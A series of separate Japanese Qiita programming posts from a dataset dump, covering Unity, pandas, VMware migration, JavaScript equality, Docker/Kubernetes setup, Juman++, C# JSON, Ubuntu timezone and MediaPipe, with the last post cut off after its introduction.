OmniAICreator/Qiita-1.07M huggingface dataset:
【Unity】シーン切り替えでエラー"Scene 'シーン名' couldn't be loaded because it has not been added to the build settings or the AssetBundle has not been loaded."が発生する

シーンの切り替えをするときに以下のエラーに遭遇した

>Scene 'シーン名' couldn't be loaded because it has not been added to the build settings or the AssetBundle has not been loaded.
To add a scene to the build settings use the menu File->Build Settings...


# ひとまず言われた通り直す
エラー文に以下ように指示されているので『File』→『Build Settings』で設定を行う
>To add a scene to the build settings use the menu File->Build Settings...


## 『Build Settings』を開く
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1719666/f3b157b1-0b20-f2fa-a248-30e69a13385b.png)


開くとこんな画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1719666/0df90dae-698d-c7dd-50db-54c6805644d7.png)

使うシーンを追加する
Project-Scenesから使うシーンをBuild SettingsのScenes In Buildにドラック&ドロップ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1719666/43592ba4-3420-e1c1-322b-67184deee2bd.png)
追加したあとの画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1719666/7b64a1f3-8d24-7f13-8150-a6565e618b62.png)

これで動くはずだが、私の環境ではまだ同じエラーが発生していた

## LoadScene()の引数（シーン名）のtypoが原因だった
`LoadScene`メソッドを使用してシーンの切り替えを行っていたが、引数のシーン名とAssets>Scenesに格納されているシーン名が一致していなかった
```csharp
    public void OnStartButton()
    {
        SceneManager.LoadScene("シーン名");
    }
```

シーン名を一致させると期待通り動いた

### 参考
[[Unity]LoadScene()でシーンが切り替わらない時の対処法](https://qiita.com/TERRAIN_JP/items/af4ea27ee7eab1208f53)
【Python】pandas.read_csvの列指定

# 概要
pandasでcsvを読み込むときの列指定方法。
データ分析の際、データが大きいかつ不要なカラムが多い時はこれを使うと読み込み速度が大きく変わる。

https://pandas.pydata.org/docs/reference/api/pandas.read_csv.html

# データ
```python
df = pd.read_csv("example.csv")
print(df)
 
# a,b,c,d
# 1,20,2,100
# 2,30,3,200
# 3,10,1,300
```

# 書き方①
`usecols`オプションを指定する。
このオプションで指定したカラムのみを読み込む。
カラムをintで指定することも文字列で指定することもできる。
```python
df = pd.read_csv("example.csv", usecols=[0, 2])
print(df)
 
#    a  c
# 0  1  2
# 1  2  3
# 2  3  1
 
df = pd.read_csv("example.csv", usecols=["a", "c"])
print(df)
 
#    a  c
# 0  1  2
# 1  2  3
# 2  3  1
```

# 書き方②
除外するカラムを指定する場合は以下のように書く。
```python
df = pd.read_csv("example.csv", usecols=lambda x: x not in ["a", "c"] )
print(df)

#     b    d
# 0  20  100
# 1  30  200
# 2  10  300
```

# 参考
https://note.nkmk.me/python-pandas-read-csv-tsv/

https://stackoverflow.com/questions/33424503/pandas-usecols-all-except-last
山浦清透さんの「独学エンジニア」をはじめてみました

## 前提
エンジニアの世界には「完璧を目指すよりまず終わらせろ（Done is better than perfect.）」という格言があるそうです。
Facebook創業者(現：Meta)のマークザッカーバーグの言葉だそうです。
本記事も、まずは書き散らし程度に「完成」させて「投稿・公開」することが目的になります。

## プログラミング学習歴
プログラミングスクールで1,000時間以上の学習をしたうえで内定(2023年1月入社)もいただけているので、全くの初学者ではないです。
ただ実務経験はないので、学んできたPHP/Laravelを伸ばす目的で「独学エンジニア」はレベル感や使用言語などあらゆる面で今の自分に最適だと思いました。

その他詳細は下記リンク(Wantedly)に記載
https://www.wantedly.com/id/msys825


## 受講後になっていたい姿を書き出そう(課題)
レッスン1の課題の一つになります。(下記リンク課題)
どうせ書き出すのであれば、Qiita記事にして公開してみようと思いました。
https://dokugaku-engineer.com/course/serverside/lecture/bZygop


### ①長期的になっていたい姿（定性目標）
「2~3年後あたりの設定」とありましたので、その期間設定で考えます。
まず自身の市場価値を上げたいです。
自分は現在、市役所の建築技術職として働いているのですが、自分の建築技術者としての市場価値が分かりにくい状況にありました。
そこには雇用の流動性が低い「行政×建築」という構造もあると思うのですが、逆にWeb・IT業界は流動性が高く、常に市場価値を上げるために努力をする必要がある印象があり、学習そのものが楽しいと感じる自分としては非常にワクワクします。
そのため2~3年後あたりの目標としては「学習を続けて市場価値を上げること」を目指します。
定性目標としては、2022年現在の「IT×建築」企業でいうところの株式会社アンドパッドくらいのレベルの企業にエンジニアとして応募して内定をいただけるレベルにはなっていたいです。


### ②受講後になっていたい姿（定性目標）
入社日が2023年1月で、現在が2022年8月3日なので、「独学エンジニア」のカリキュラムを終了してから入社のタイミングを迎えられることが理想です。
そのため新しい会社でPHP/Laravel周辺の知識に関して問題なく新しいキャリアをスタートできるレベルになれていることが目標です。
ストレッチゴールとしては、入って数ヶ月〜半年で既に大活躍できていることが理想ですが、そんなに甘くないとも思っています。しかし「目標は高く」という意味ではそのくらいを目指しています。


### ③受講後の具体的状態（定量目標）
定量的には、質の高いポートフォリオができていることが理想です。
今回の転職活動ではポートフォリオを作成する前に内定をいただけたので、逆に質の高いポートフォリオの作成経験がないということが若干のコンプレックスとしてあります。
本カリキュラムを通して実力を固めて、質の高いポートフォリオが4ヶ月後に完成していることが定量的目標です。

---
以上になります。
何はともあれ、数ヶ月後にも今と同じようにプログラミングが楽しいと思えていることが一番大切かと思っています。
楽しみながら新しい知識をどんどん吸収していきたいです。
OVFテンプレート Export / Import でVMware仮想マシンの移行を試してみた #2 VMware Cloud on AWS 環境間の移行

# 1. はじめに
OVFテンプレートのExport/Importによって、VMware Cloud on AWSから別リージョンのVMware Cloud on AWSへ仮想マシンの移行を試してみます。

前回のブログは、OVFテンプレートのExport/ImportによってオンプレミスVMware仮想環境(に見立たてた自宅のホームラボ)から、「[VMware Cloud on AWS](https://www.vmware.com/jp/products/vmc-on-aws.html)」への仮想マシン移行を試しました。今回はその応用編となります。

https://qiita.com/sanjushi003/items/2dd1ccdafdb93795561b

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864151/7bb5dea5-06f0-ded3-23a1-94135cfeb90a.png)

> 上図は全体構成のイメージ

今回はVMware Cloud on AWSの東京リージョンから、ソウル(韓国)リージョンにOVFテンプレートExport/Importを利用して仮想マシンの移行をしています。

OVFテンプレートの受け渡しの中継としてAmazon EC2(Windows)のインスタンスを利用していますが、ご自身のLaptopと置き換えてもOKです。(トラフィックが自宅のネットワーク経由するよりも、AWSバックボーンネットワークに閉じた方が通信が安定しそうだったのでこの構成にしています。)

# 2. 早速やってみる

下図はCloudコンソールからみた２つのVMware Cloud on AWS環境です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864151/c5226d1b-f0f5-7d94-2525-e42adcc262cc.png)

## (1) VMware Cloud on AWS(東京リージョン)からOVFテンプレートのExport
#### (1)-1 VMware Cloud on AWS(東京リージョン)のvCenterにログインし、移行対象の仮想マシンを選択
移行対象の仮想マシンOSはWindows Server 2019(評価版)を利用しています。
ISOファイルからデプロイしましたが、その方法についてはこちらの記事もご参考ください。

https://qiita.com/sanjushi003/private/8f0e6cba8a0f7ea2e4d0

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864151/44658d59-cc18-7688-6108-40a720a7a5a8.png)

> <img width="800" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864151/80539f48-01ea-ee77-c5a6-b1479fa7ba04.png">
> 
> 正しく移行できたことを確認するために、デスクトップ上にテキストファイルを作成しておきます。

#### (1)-2 移行対象の仮想マシンを選択し、「OVFテンプレートのエクスポート」を実行
「OK」を選択すると、OVFテンプレートがダウンロードされます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864151/0d5ef9b5-e6f5-1540-ef32-3b4021797f8c.png)

#### (1)-3 OVFファイルがダウンロードできたことを確認
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864151/d05493ce-2b42-7556-d79e-751556c4a815.png)


## (2) VMware Cloud on AWS(ソウルリージョン)でOVFテンプレートのImport、仮想マシンのデプロイ
#### (2)-1 VMware Cloud on AWS (ソウルリージョン)のvCenterにログインし、OVFテンプレートから仮想マシンをデプロイします
> 東京リージョンのvCenterとの違いがわかるように、表示をダークモードにしています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864151/2cc6c941-3488-9930-a020-604388372766.png)

#### (2)-4 デプロイされた仮想マシンが稼働することを確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864151/26cbcdf1-c4c6-1049-d038-317500731d1f.png)

> <img width="800" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864151/0c4b12a0-9d3b-af1c-61c4-a1fcba625408.png">
> 
> デスクトップ上に作成しておいたテキストファイルも正常に確認できました。



# 3. さいごに

通常VMware Cloud on AWSへの移行の際には[「VMware HCX」](https://www.vmware.com/jp/products/hcx.html)や[「AWS Backup」](https://aws.amazon.com/jp/backup/)など対応するバックアップソリューションを活用した方法がまず候補になるかと思います。

ですが今回はVMware 他にもお手軽な手段があるということで、OVFテンプレートのExport/Importを利用した移行手順をご紹介しました。

VMware仮想環境を運用していると、追加のコンポーネントなどをインストールするのが難しいなど色々な制約が出てくるかと思います。そのような場合に仮想マシンを移行する選択肢の１つとして、OVFテンプレートのExport/Importという手段があると思い出していただけると幸いです！

AWS BackupによるVMware Cloud on AWSのバックアップ・リストアについては過去記事もご参考ください。

# 4. 参考記事

https://qiita.com/sanjushi003/items/2dd1ccdafdb93795561b

https://qiita.com/sanjushi003/items/7d250088875463005dd3
【JavaScript】===（厳密等価演算子）と==（等価演算子）の違い



### 目次

[1.やりたいこと・現在のコード](#1やりたいこと現在のコード)
[2. 環境](#2環境)
[3. 調査](#3調査)
[3-1. ===（厳密等価演算子）](#3-1厳密等価演算子)
[3-2. ==（等価演算子）](#3-2等価演算子)
[3-3. nullとundefinedについて](#3-3nullとundefinedについて)
[3-4. undefinedの例](#3-4undefinedの例)
[4. 最終的なコード](#4最終的なコード)
[5. まとめ](#5まとめ)
[6. 参考](#6参考)
[7. 最後に](#7最後に)


### 1.やりたいこと・現在のコード

idを取得してオブジェクト内にあるかどうか比較→ないときにオブジェクトに追加したいです。

先輩からは「==と===は異なる」とアドバイスがありました。

```javascript
function countContents( id ) {
if ( id in Obj == false ) {
//オブジェクト(Obj)にidが含まれないときは追加する
countObj[id] = id;
	}
```

### 2.環境

- windows10 バージョン21H2


### 3.調査


#### 3-1.===（厳密等価演算子）

左右のオペランドを比較して、同じ型で同じ値であるときに`true`を返します。

※オペランド：演算子を使用する対象物を指します。例えばA + B のとき、AとBはオペランドです。

```javascript
console.log(3150 === 3150); // => true
console.log(3150 === "3150"); // => false
```

オブジェクトの場合、参照元が別々のオブジェクトだと空のオブジェクトでも`false`になります。

```javascript
// 例：フルーツのオブジェクトを作成
const objFruit1 = {};
const objFruit2 = {};
// 参照元が異なるのでfalse
console.log(objFruit1 === objFruit2); // => false
// 同じ参照を比較している場合はtrue
console.log(objFruit1 === objFruit1); // => true
```


#### 3-2.==（等価演算子）

同じデータ型のオペランドを比較する場合は`===`と同じ結果になります。
※異なる型の値を比較する際に暗黙的な型変換を行います。

```javascript
console.log(3150 == 3150); // => true
console.log(3150 == "3150"); // => これもtrueになる
```

他にも、[JSPrimer](https://jsprimer.net/basic/operator/)では以下の挙動について記載がありました。

```javascript
// "01"を数値にすると`1`となる
console.log(1 == "01"); // => true
// 真偽値を数値に変換してから比較
console.log(0 == false); // => true
// nullの比較はfalseを返す
console.log(0 == null); // => false
// nullとundefinedの比較は常にtrueを返す
console.log(null == undefined); // => true
```
意図しない挙動を防ぐため、基本的には`厳密等価演算子（===）`が推奨されています。

異なる型を比較したい場合は明示的に型を合わせるべきです。


#### 3-3.nullとundefinedについて

上記では`console.log(null == undefined);`とありますが、`null=undefined`ではないです。
（値がない、という点では同じ。）

| 項目 | 内容 | 
|:-----------|:-----------|
| null| **・代入すべき値が存在しないため、値がない**<br>・自然発生しない<br>・リテラル（※） | 
| undefined| **・値が代入されていないため、値がない**<br>・オブジェクトに存在しないプロパティや配列にない要素にアクセスしたときや、戻り値がない関数の戻り値を取得したときにundefinedになる<br>・変数 |

※リテラル：ソースコードにべた書きした文字や数字を指します。（例：`”太郎”`など）

しかし、`等価演算子(==)`を使用するとundefinedとnullかどうかをチェックするため、`true`になります。


#### 3-4.undefinedの例

JavaScriptでは変数を宣言するキーワードとして、`const`、`let`、`var`があります。

`let`と`var`は初期値がなくても宣言ができます。宣言をしない場合、デフォルト値の`undefined`で初期化されます。

```javascript
var x;
// 「trueです」が実行される
if (x === undefined) {
  console.log('trueです');
}
else {
  console.log('falseです');
}
```

`const`は初期値がない場合、エラーが発生します。

```javascript
//上記コードのvarをconstにするとエラー
Uncaught SyntaxError: Missing initializer in const declaration (at index.html:65:7)
```

### 4.最終的なコード

今回は`false`のときに実行する処理を書きたかったため、`===（厳密等価演算子）`に修正しました。

```javascript
function countContents( id ) {
if ( id in countObj === false ) {
countObj[id] = id;
	}
}
```


### 5.まとめ

`=`ひとつの違いで暗黙の型変換などの意図しない挙動が起きる可能性があるので、状況に応じて使い分けしていきたいと思います。


### 6.参考

https://jsprimer.net/basic/operator/

https://jsprimer.net/basic/variables/

https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/undefined

https://typescriptbook.jp/reference/values-types-variables/undefined-vs-null

https://wa3.i-3-i.info/word15346.html


### 7.最後に

何かあればご指摘いただけると幸いです。

読んでいただき、ありがとうございました。
Kubernetesでコンテナはじめてみよう（まだインストール前）

# 背景
専用ハード、キャリアグレードLinuxで動く電話サーバアプリの発注しかしたことない電話屋さんがk8sをインストールしてみます。
知識0からやる方に向けたメモ。
day1 8/3 Dockerのダウンロード　システム要件の確認
day2 未定

# 参考文献
[1]Qiitaの記事　Kubernetes超入門 
https://qiita.com/dsagnlaiweudlbfna/items/55b162197afa74306067
[2]Dockerの公式マニュアル　Install Docker Desktop on Windows
https://docs.docker.com/desktop/install/windows-install/
[3]通信業界の仮想化とKubernetes
https://zenn.dev/k_satone/articles/d064e7390098c2
[4]Install Linux on Windows with WSL
https://docs.microsoft.com/en-us/windows/wsl/install
[5]Troubleshoot topics Docker
https://docs.docker.com/desktop/troubleshoot/topics/#virtualization



# 0. お勉強
[3]を読むとAWSのKubernetesを使うと、5GCoreが作れるらしい。
最終目標はここだ！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2311625/7fefb46a-6df3-fdc4-7f4f-7ccbf1595e03.png)

でも、いきなりクラウドはハードルが高すぎるので、おうちでオンプレで作ってみよう。


# 1. k8sをローカルにインストールする

## 1.1.  Dokerでコンテナ作るのが先？
[1]を読むと、
　・Dockerで作ったアプリごとのコンテナを、
　・k8sで複数のホストマシン間に実装したり、アップデートしたり管理する
物らしい。ので、k8sの管理対象のコンテナを」先に作らないと。

## 1.2. ダウンロード Doker Desktop for windows
Docker Desktopをダウンロード 494M
https://www.docker.com/get-started/
　local kubernetes environmentが作れるらしい。＼( 'ω')／
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2311625/b75e595e-2f3a-ef4d-6604-cb175c5f709a.png)

## 1.3. Docker インストールマニュアル
[2]を読むと
System requirement
### Windows 11 64-bit: Home or Pro 
> winver　→　よし 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2311625/0ac9ec48-e8d1-5dfe-2f5a-bd68f66993e4.png)
> バージョン情報　→　よし
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2311625/a47553d4-24dc-7a1e-f674-db11f85e7a8e.png)

### Enable the WSL 2 feature
やらねば[4]のMicrosoft のinux on Windows with WSLドキュメントを読む
> ・Windows 11. →よし

#### administrator PowerShell 
> ・administrator PowerShell or Windows Command Prompt 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2311625/baa94556-d4f3-d1ab-f7d2-c9661ebb67ef.png)
デフォルトではLinux は Ubuntuがインストールされる。

## requirement
> Windows 10 or Windows 11　→　よし
> 64-bit processor with Second Level Address Translation (SLAT)
> 4GB system RAM →よし　winver 32G
> BIOS-level hardware virtualization support must be enabled in the BIOS settings. For more information, see Virtualization.
→Biosの仮想化有効化が必要らしい

#### [4] WSL 2 and Windows Home
> Virtualization enabled in the BIOS
再起動、BIOS設定、CPU headings Processor
Enable Virturalization:  VT-x, AMD-V, SVM, or Vanderpool
```
Reboot your computer
Right when the computer is coming up from the black screen, press Delete, Esc, F1, F2, or F4. Each computer manufacturer uses a different key.
In the BIOS settings, find the configuration items related to the CPU. These can be in under the headings Processor, Chipset, or Northbridge.
Enable virtualization; the setting may be called VT-x, AMD-V, SVM, or Vanderpool. Enable Intel VT-d or AMD IOMMU if the options are available.
Save your changes and reboot.
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2311625/fb10db5e-a959-fb16-1cfd-10caba847461.png)
→Intel VMX Virtualization Technology Enable よし！

### Download and install the Linux kernel update package.
XcodeのApp名をひらがなや漢字にした場合の弊害について

# はじめに
App作成時、とりあえず解りやすい名前にしようと、日本語でファイル名を作成した所、思わぬ弊害に出くわした為、備忘録です。

### ライブラリが使えない!!
cocoapods経由でライブラリをインストール→ビルドを実行すると、速攻でエラーが出ます。😭
![スクリーンショット 2022-08-02 17.37.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2428088/46df267b-afc1-6fbe-9a83-a3bae1824273.png)

原因が解らず、cocoapodsを再インストールしてみたり、色々と悪戦苦闘しました。

結果から言うと、ファイル名を**日本語にした為**、Xcodeのコマンドラインツールが、日本語のファイル名を正しく処理が出来ずにエラーが出てしまっていました。

正しく認識されていると、**General→Frameworks,Libraries,and Embedded Content**の欄に**pods_ファイル名.framework**と記述されています。

# さいごに
ファイル名は英語表記でいきましょう😆
【Python】"和え麺" 屋さんの券売機のボタンが "油そば" だった事件

## 概要

タイトルのとおりです。券売機を前にとまどいを隠せなかったです。
そんなやりきれない思いを、Pythonで再現してみました。

## コード

```python
# 2022/08/02 "和え麺" 屋さんの券売機のボタンが "油そば" だった事件

okane = 1000
menus = {"油そば":750, "鶏ラーメン":800, "塩ラーメン":800}

def show_menu():
    print("=====おしながき=====")
    for menu in menus:
        print("  {}：{}円".format(menu,menus[menu]))
    print("=====================\n")

show_menu()

while True:
    want = input("何を食べる？ >>>")
    if want == "":
        pass
    elif want in menus.keys():
        print(want + "を注文した！")
        okane -= menus[want]
        print(str(okane) + "円のおつり。")
        break
    else:
        print(want + "が見つからない。\n")
        show_menu()
```

## 実行結果

```
PS C:\Users\XXXX\Documents\python\my> 
=====おしながき=====
  油そば：750円
  鶏ラーメン：800円
  塩ラーメン：800円
=====================

何を食べる？ >>>和え麺
和え麺が見つからない。

=====おしながき=====
  油そば：750円
  鶏ラーメン：800円
  塩ラーメン：800円
=====================

何を食べる？ >>>油そば
油そばを注文した！
250円のおつり。
PS C:\Users\XXXX\Documents\python\my>
```

## 所感

* 注文が決まるまでは無限ループなので、while True: を使ってみました。inputを要求して、空だったらpassして再度input、の流れは使い勝手がよさそうです。
* 簡単ながら、関数定義もしてみました。注文しようと思っていたメニューが見つからなかった時に、もう一度券売機のボタンを確認する動きの再現ですね。
* print(menus)だと味気なかったので、繰り返しとformatを使ってメニューボードっぽくしてみました。辞書の勉強がもっと必要。
* おつりの処理はおまけ。せっかく辞書型にしたので、活用しようと思っただけです。
* 和え麺おいしかったです。ラーメンも食べたい。
ACCESS VBA メモ

参考
https://tasukete-access.com/2022/06/27/vba_update_table/
https://www.tetsuyanbo.net/tetsuyanblog/49119


Private function 名前格納()

Dim DBcnn As ADODB.Connection
Dim DBrs As ADODB.Recordset
Dim SQL_SelectName as String

Set DBcnn = CurrentProject.Connection
Set DBrs = New ADODB.Recordset
DBrs.CursorLocation = adUseClient

SQL_SelectName = "SELECT DISTINCT 氏名 from 超勤ツール転記用"

DBrs.Open SQL_SelectName, DBcnn, adOpenKeyset, adLockOptimistic

Dim 一時格納 as collection
set 一時格納 = new collection

Do Until DBrs.EOF

  一時格納.add DBrs!氏名
  DBrs.MoveNext

Loop

DBrs.Close: Set DBrs = Nothing
DBcnn.Close: Set DBcnn = Nothing

set 名前格納 = 一時格納

end function
Juman++をインストールしてpythonで使える環境を作る(pyknp,MacOS,homebrew)

# Juman++をインストールしてpythonで使える環境を作る

とても精度のいい形態素解析ツールであるJuman++をインストールしてpythonから呼び出して使えるようにしていきたいと思います。
今回はhomebrewとpythonの環境があることを前提としています。
もしできていない人がいれば[こちら](https://qiita.com/TakayoshiK/items/e4273336044880d3eea0)の記事を参考にしてみてください。
[Juman++公式ドキュメント](https://lotus.kuee.kyoto-u.ac.jp/nl-resource/jumanpp/jumanpp-manual-1.01.pdf)

## 環境
MacBook Pro (13-inch, 2018)
macOS　Monterey Version 12.5
メモリ intel Core i5
zsh 5.8.1 (x86_64-apple-darwin21.0)

pythonはhomebrew、pyenv経由で環境構築しています。

## Juman++のインストール
早速juman++をhomebrewを使ってインストールしていきましょう。
```:terminal.app
user@host $brew install jumanpp
```
入ったか確認します。
無事バージョンが表示されればOKです。
```:terminal.app
user@host $jumanpp -v
JUMAN++ 1.02 
```
## KNPのインストール
次にKNPをインストールします。
```:terminal.app
user@host $brew tap uetchy/nlp
user@host $brew install knp
```
完了したらjumanppとknpが動いているかチェックしましょう。
```:terminal.app
user@host $echo "私はとても疲れたので今日は寝ようと思う" | jumanpp | knp
# S-ID:1 KNP:4.19-CF1.1 DATE:2022/08/03 SCORE:-32.26907
          私は─────┐　　　　　<体言>
とても─────┐　　　 │　　　　　
    疲れたので─────┤　　　　　<用言:動><格解析結果:ガ/-;ヲ/-;ニ/-;デ/-;ヨリ/-;時間/-;修飾/とても;ノ/-;ガ２/->
        今日は─────┤　　　　　<体言><NE:DATE:今日>
              寝ようと─────┐　<用言:動><格解析結果:ガ/私;ヲ/-;ニ/-;ト/-;デ/-;カラ/-;マデ/-;時間/今日;ノ/->
                          思う<用言:動><格解析結果:ガ/-;ニ/-;ト/寝よう;時間/-;ノ/->
EOS
```
## pyknpのインストール
次にPythonから呼び出すためにpyknpをインストールします。
```:terminal.app
pip install pyknp
```

## 実際に動かしてみる
準備は整ったはずなのでテストしてみましょう。
```test.py
from pyknp import Juman
sentence="これはテストです"
jumanpp = Juman()
result = jumanpp.analysis(sentence)
for mrph in result.mrph_list():
    print("見出し",mrph.midasi,"品詞",mrph.hinsi)
```
とりあえず動いているのが確認できました。

## 終わりに
いつも何で何が取り出せてそもそもどんなタグ付けされているのかわからなくなるのでそのうちそれもここにまとめようと思います。(今日は疲れたのでここまでで)
コメント、間違いのご指摘大歓迎です。
今後もjuman++は使うと思うのでちょいちょい気になったことをまとめていきます。
【PHP】配列[3,7,0,8,4,1,9,6,5,2]を定義し、1回目は配列の要素番号を0で表示し、次にその配列の要素番号を表示する10回繰り返すプログラムを作成せよ

[3, 7, 0, 8, 4, 1, 9, 6, 5, 2]で初期化される配列を宣言し、最初は参照する要素番号を0とし、この参照する要素番号の配列要素の値を表示し、次にその配列要素の値を次の参照する要素番号とし、この次の参照する要素番号の配列要素の値を表示し、さらにその配列要素の値を次の参照する要素番号とし、……を10回繰り返すプログラムを作成せよ。（具体的にどのような手順かは実行例を見て考えよう。）

# コード
```PHP
<?php

    $dat = [3, 7, 0, 8, 4, 1, 9, 6, 5, 2];
    for ($i = 0, $j = 0; $i < 10; $i++, $j = $dat[$j]) {
        echo $j,':', $dat[$j],PHP_EOL;
    }

```

# 結果
```
0 : 3
3 : 8
8 : 5
5 : 1
1 : 7
7 : 6
6 : 9
9 : 2
2 : 0
0 : 3

```
json デシリアライズ

jsonのデシリアライズで苦戦した。
JsonSerializerでやってみたのだけど。
javascriptでjsonにして送って、C#でデシリアライズを試みるも

            var person2 = JsonSerializer.Deserialize<Person>(json, options);
            Console.WriteLine($"{person2?.tel} {person2?.name} {person2?.address} {person2?.Email}");

Consoleに辿り着かずに処理が終了してしまう。

原因は型だった。
.telをintで定義していたのだけど、送る側はstringだった。

あと、なぜか先頭のプロパティだけnullになってしまって。

        [JsonPropertyName("Name")]
        public string? name { get; set; }
        public string? tel { get; set; }

[JsonPropertyName("Name")]、これの意味が理解できていなかったのが原因。

参考にしたサイト
https://hirahira.blog/json-serialization/
Ubuntu22.04 サーバーの時間を日本時間にする

Ubuntu22.04でサーバーの時間を日本時間にします。インストール直後で、特に何もしてませんが、エラーもなく設定できました。
```
$ sudo timedatectl set-timezone Asia/Tokyo
```
dateで変わったことを確認しておきました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2744334/2fdbbf7c-4129-4c45-a1a6-9babae3e00a2.png)
IBM Cloud上でのIBMソフトウェア利用（ライセンスの考え方）の覚書


# 内容
IBM CloudでIBMソフトウェアを利用する際のライセンスに関する情報をまとめました。

:::note warn
執筆時点（2022年8月)の情報
:::



# 利用可能な環境
ライセンス交付を受けたIBMソフトウェアは、EPC(Eligible Public Cloud)として定義されているパブリッククラウド上にデプロイして実行することができる。

https://www.ibm.com/software/passportadvantage/eligible_public_cloud_BYOSL_policy.html

・ 対象のEPC・デプロイ先はリンク参照。IBM Cloudをはじめ、Amazon、Microsoftなどのクラウドプロバイダーがリストされている。
・ IBM CloudではVirtual Servers、Containers、Bare Metal Servers、Power Virtual Serversなどがリストされている。


# ライセンスのカウント方法
プロセッサーキャパシティに基づくライセンスは、PVU（プロセッサー・バリュー・ユニット）という単位で表される。

### IBM Cloudで必要なPVUの例（2022/8時点)

<dl>
<dt>Virtual Server Instance : 1vCPU = 70PVU</dt>
<dd>AWS EC2、Azure Virtual Machines等も同じ係数</dd>
<dt>Containers : スレッド数分*のvCPU = 70PVU</dt>
<dd>*同時マルチスレッディング（SMT）またはハイパースレッディング(HT)を使用している場合。例えば、</dd>
<dd>HT : 2vCPU = 70 PVU</dd>
<dd>SMT4 : 4vCPU = 70 PVU</dd>


### 参考リンク
パブリッククラウドのBYOSLポリシー
https://www.ibm.com/software/passportadvantage/eligible_public_cloud_BYOSL_policy.html

ソフトウェア・ライセンスについて
https://www.ibm.com/software/jp/passportadvantage/about_software_licensing.html#virtualserver

PVUテーブル(クラウド以外の値一覧)
https://www.ibm.com/software/passportadvantage/pvu_licensing_for_customers.html

コンテナのライセンスについて
https://www.ibm.com/software/passportadvantage/containerlicenses.html


# 利用条件(2022.7.26 IBMソリューションブログ)
IBM Cloudをはじめとするパブリッククラウドにおいても、ライセンス管理のためのツールの導入が必要とのこと。環境によって2種類のツールがある。

・　ILMT(IBM License Metric Tool) : Virtual Server Instanceなど
・　ILS(IBM License Service)　： コンテナ環境

IBMソリューションブログ　IBMソフトウェアのライセンス管理に関するご紹介
https://www.ibm.com/blogs/solutions/jp-ja/ibm-sw-license-management/


以上。
mediapipeが認識するイラストを描いて指示する

# これは何
- MediaPipeは写真・動画ベースでストリーミングサービスを通して実写ベースを前提にしているAIです。
- これに写真以外の人間を認識させてみよう、という試みです。
- 発端は描いた絵をデッサン人形のポーズできないかな、というツイートを見たのがきっかけ。
----
# どうやって実現させる？
- 顔だと認識させる。
    - 必要な要素はこれだけです。
# どういうものが認識されるか？
- mediapipeでこれから実装するべきですが、ここではmediapipeを利用した https://3d.kalidoface.com/ を使って検証します。
1. まーる描いて
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75653/df98d368-2b7a-8ebd-c3a0-d4e71576948a.png)
2. うみにん！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75653/00488c96-40ca-473e-23be-885b1036ff66.png)
- とするだけで顔として認識されるんです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75653/92227b63-5bf4-76c0-82a4-0c846bf4c486.png)
- 情報が足りないのかブルブル揺れてしまいますが。

# 何をもって顔だと認識している？
- ここで必要な要素は
    - 色を持った領域
    - 目
    - 鼻
    - 口
- になります。眉毛や眼球は顔と認識する上ではmediapipeでは必要ないのではないかと予想します。
- 余談ですが、肌の部分は「肌色」である必要もないんです。ピンク色でも必要な要素さえあればいい。
- 白目と黒目を書き加えると…
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75653/28880590-da7e-09e4-6c08-b558fcc24ab3.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75653/97f2f290-ba07-780c-2499-8e3825ed4ccf.png)
- モデルの子がぱっちり目を開きました！
- 顔を検出することと瞳があるかどうかは別にできる、と推察されます。瞳がなければまぶたを閉じてるということでしょうからね。


# 顔ができたらBodyのポーズも？
- ここからが本題。実はmediapipeに限った話でもありませんが、顔さえあると認識させられればかなり自由に描いてもポーズとして認識します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75653/c58049d4-e4e2-bd7a-07eb-c7a7a3a3bbb6.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75653/06af899e-504c-6f88-faef-d1f411ce532c.png)
- こんなポーズも。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75653/36bb9eee-48c4-681e-d992-b67391e94fd2.png)

- mediapipeのサイトの資料によると胴体から顔と手足が生えている必要がある様子。
https://google.github.io/mediapipe/solutions/pose.html#pose-landmark-model-blazepose-ghum-3d
![代替テキスト](https://google.github.io/mediapipe/images/mobile/pose_tracking_full_body_landmarks.png)
- この特徴さえ押さえればたとえデッサンが適当だとしても絵を描いて認識させることができるというわけです。
[WinUI3] WinUI3でテキスト中に出てくるリンクをつくりたい2

もくじ(WinUI3関連)

https://tera1707.com/entry/2022/02/06/144447#WinUI3

# やりたいこと

[以前の記事](https://tera1707.com/entry/2022/08/12/013207)で、WinUI3で下記のようなリンクを作りたくていろいろ試した。

